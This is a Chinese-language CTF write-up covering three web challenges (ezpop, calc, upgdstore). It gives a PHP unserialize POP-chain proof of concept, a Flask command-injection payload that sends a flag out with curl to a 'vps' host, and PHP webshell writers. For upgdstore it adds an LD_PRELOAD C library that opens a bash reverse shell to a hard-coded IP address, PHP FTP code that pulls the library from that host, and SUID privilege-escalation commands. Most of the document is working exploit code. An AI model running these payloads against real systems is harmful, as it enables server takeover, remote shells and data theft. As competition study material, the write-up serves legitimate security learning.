ezpop、calc、upgdstore

Web

ezpop

直接得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

class crow
{
public $v1;
public $v2;

function eval() {
echo new $this->v1($this->v2);
}

public function __invoke()
{
$this->v1->world();
}
}

class fin
{
public $f1;

public function __destruct()
{
echo $this->f1 . '114514';
}

public function run()
{
($this->f1)();
}

public function __call($a, $b)
{
echo $this->f1->get_flag();
}

}

class what
{
public $a;

public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;

public function run()
{
($this->m1)();
}

public function get_flag()
{
eval('#' . $this->m1);
}

}

if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}

pop链:

1.首先找到destruct方法作为入口,触发toString

2.what类里面转到mix类的run方法

3.mix的run触发crow的invoke方法

4.然后触发call方法调用get_flag

5.最后换行绕过注释

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

class crow
{
public $v1;
public $v2;
public function __construct($v1,$v2)
{
$this->v1 = $v1;
$this->v2 = $v2;
}
}

class fin
{
public $f1;
public function __construct($f1)
{
$this->f1 = $f1;
}
}

class what
{
public $a;
public function __construct($a)
{
$this->a = $a;
}
}
class mix
{
public function __construct($m1)
{
$this->m1 = $m1;
}
}

$a = new fin(new what(new mix(new crow(new fin(new mix(';
system(\'grep -r "{"\');')),''))));
echo urlencode(serialize($a));

复现来啦 ~

calc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# coding=utf-8
from flask import Flask, render_template, url_for, render_template_string, redirect, request, current_app, session, \
abort, send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time

app = Flask(__name__)


def waf(s):
blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen',
'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
'getattribute', 'func_globals', '__init__', 'join', '__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
print(no)
break
return flag


@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")


@app.route("/calc", methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"


if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)

1.赛时

waf过滤了很多关键词和符号,所以几乎不能用SSTI注入,但是当时就想着肯定能用SSTI,所以就一直卡住了(

然后因为之前做过类似的,利用报错进行模板注入,但是这道题利用1/0#这种形式也是完全过不了的,因为有js进行检测

然后就把目光放到了eval中,在想着该怎么传入num才使得eval或者system执行我们想要的代码,但是一直没有想到该怎么办

1
2
3
4
5
6
7
8
9
10
@app.route("/calc", methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

if waf(num):
try:
data = eval(num)
os.system(log)

2.赛后

赛后看了别的师傅的wp

确实是从os.system(log)入手的,但是这里用到#是为了注释掉后面的内容,因为如果eval(num)出错的话,是不会进行下去的,导致实现不了rce

img

而python又支持#与字符连接还是能当作注释符,而在unix中如果#与字符相邻则也会被当作字符,就可以利用这个区别直接构造payload

再利用反引号进行命令执行

不过感觉可能是环境原因,直接用反引号没有返回值,直接用curl外带,payload:

1
/calc?num=1%23`curl%09http://vps:5656/?flag=\`cat%09Th1s*\``

upgdstore

  • SplFileObject
  • 利用环境变量getshell putenv
  • python搭建ftp服务
  • suid提权

1.赛时

一看是文件上传,还只能上传php文件,那就直接看phpinfo(),然后就可以发现很多常用的函数被禁掉了,然后后来突然想到用FFI,但是一看,也被禁掉了

再后来尝试用原生类,我们在测试中可以发现=|$|-|^等字符也不可用, 那也几乎不可以用原生类,因为既然不能用$来赋值,那么只能直接new一个类来用->来调用方法,但是显而易见不可以,之后就直接摆了(🥺

2.赛后

① show_source没有被ban,但是会被过滤,可以利用php大小写不敏感绕过,获取index.php的源码,不仅过滤了函数还过滤了特殊字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}


return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}

$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;


if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

② 上传文件

一些有用的知识

​ Ⅰ.可以利用base64+php伪协议包含文件

1
2
3
4
//yuer.php
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ // <?php eval($_POST[1]);?>
// yuer1.php
<?php Include(base64_decode("cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPTJjYzAxMzkzMmVhZjJmY2IzODNmZGE3MzVmZWYwYTM2LnBocA==")); // php://filter/read=convert.base64-decode=xxx.php

img

​ Ⅱ. 字符串拼接动态函数

1
<?php echo ("fil"."e_get_contents")("/var/www/html/index.php");

​ Ⅲ. 原生类SplFileObject::fwrite写入文件

学到了新语法!!好耶!

重写一个类是为了实现把动态方法实现静态调用,因为动态调用的-被ban了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
define("F", "fil"."e_get_contents");
define("VALUE",(F)("/var/www/html/index.php")[353]);
define("E", "e"."val");
define("SHELL","<?php ".E."(".VALUE."_POST['a']);?>");
echo (F)("./shell.php");

class Splf extends SplFileObject {
public function __destruct(){
parent::fwrite(SHELL);
}
}

define("AMEUU",new Splf("shell.php","w"));

③ bypass disable_functions

由于putenv没有被ban,可以通过修改LD_PRELOAD环境变量的值,可以执行我们上传的恶意os文件

exp:

因为putenv和mail都没有被ban,所以可以利用mail触发getuid反弹shell

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int getuid(){
if(getenv("LD_PRELOAD")==NULL){
return 0;
}
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/82.156.2.166/3434 0>&1'");
}

编译:

1
gcc -shared -fPIC exp.c -o exp.so
另一些有用知识

​ Ⅰ. 用python搭建ftp服务

1
python3 -m pyftpdlib -p 21

​ Ⅱ. 将vps中的exp.so写进靶场中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$local_file = "/tmp/exp.so";
$server_file = "exp.so";
$vps = "82.156.2.166";
$port = 21;

$ftp = ftp_connect($vps,$port);

$login = ftp_login($ftp, 'anonymous', '');

ftp_pasv($ftp, 1);

if(ftp_get($ftp, $local_file,$server_file,FTP_BINARY)){
echo "success";
}
else{
echo "wrong";
}

ftp_close($ftp);

img

然后只要将LD_PRELOAD设置为exp.so所在的目录,然后执行mail函数触发getuid就好了,别忘了vps要监听

payload:

1
putenv("LD_PRELOAD=/tmp/exp.so");mail("","","","","");

img

suid 提权
1
2
3
find /bin -perm -u=s -type f 2>/dev/null
find /usr -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

发现有权限使用nl

1
nl /flag

得到flag

Reference

https://erroratao.github.io/writeup/DASCTF2022xSU/

https://amiaaaz.github.io/2022/03/23/smth-about-env-variables/#bypass-disable_functions